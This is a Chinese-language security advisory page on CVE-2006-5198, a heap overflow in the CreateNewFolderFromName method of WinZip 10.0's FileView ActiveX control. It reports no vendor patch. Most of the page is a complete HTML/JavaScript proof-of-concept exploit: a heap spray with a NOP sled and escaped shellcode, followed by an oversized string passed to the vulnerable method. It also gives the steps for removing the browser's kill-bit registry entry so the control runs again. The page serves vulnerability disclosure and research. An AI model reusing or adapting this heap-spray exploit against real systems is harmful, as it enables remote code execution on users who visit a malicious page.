首页 -> 安全研究
安全研究
安全漏洞
WinZip FileView ActiveX控件CreateNewFolderFromName方法缓冲区溢出漏洞
发布日期:2007-01-04
更新日期:2007-01-04
受影响系统:
WinZip WinZip 10.0 Build 6667描述:
BUGTRAQ ID: 21060
CVE(CAN) ID: CVE-2006-5198
WinZip是一款流行的文件压缩/解压工具。
WinZip的FileView ActiveX控件(WZFILEVIEW.FileViewCtrl.61,CLSID为A09AE68F-B14D-43ED-B713- BA413F034904)中存在堆溢出漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。
WinZip FileView ActiveX控件的CreateNewFolderFromName方法在处理超长畸形的参数时存在堆溢出漏洞,远程攻击者可能利用此漏洞通过诱使用户点击访问恶意的网页来控制用户的机器。
<*来源:Xiao Hui (76693223@163.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116767279710088&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
</body>
</html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
</object>
</head>
<body>
<SCRIPT language="javascript">
/*
---===[ winzip-exploit.html
Xiao Hui : 76693223[at]163.com
HomePage: www.nipc.org.cn
(c) 2006 All rights reserved.
note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled \
this ActiveX Controls, To test this vuln,You can delete the key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX \
Compatibility\{A09AE68F-B14D-43ED-B713-BA413F034904}] "Compatibility \
Flags"=dword:00000400
I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN) and \
Winzip 10.0(6667),you can try other version,goodluck~ ]===---
*/
var heapSprayToAddress = 0x0d0d0d0d;
var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5 \
F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u042 \
4%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031% \
u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5 \
F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u006 \
3");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
var xh = 'A';
while (xh.length < 231) xh+='A';
xh+="\x0d\x0d\x0d\x0d";
winzip.CreateNewFolderFromName(xh);
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
</body>
</html>
建议:
厂商补丁:
WinZip
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.winzip.com
浏览次数:3545
严重程度:0(网友投票)
绿盟科技给您安全的保障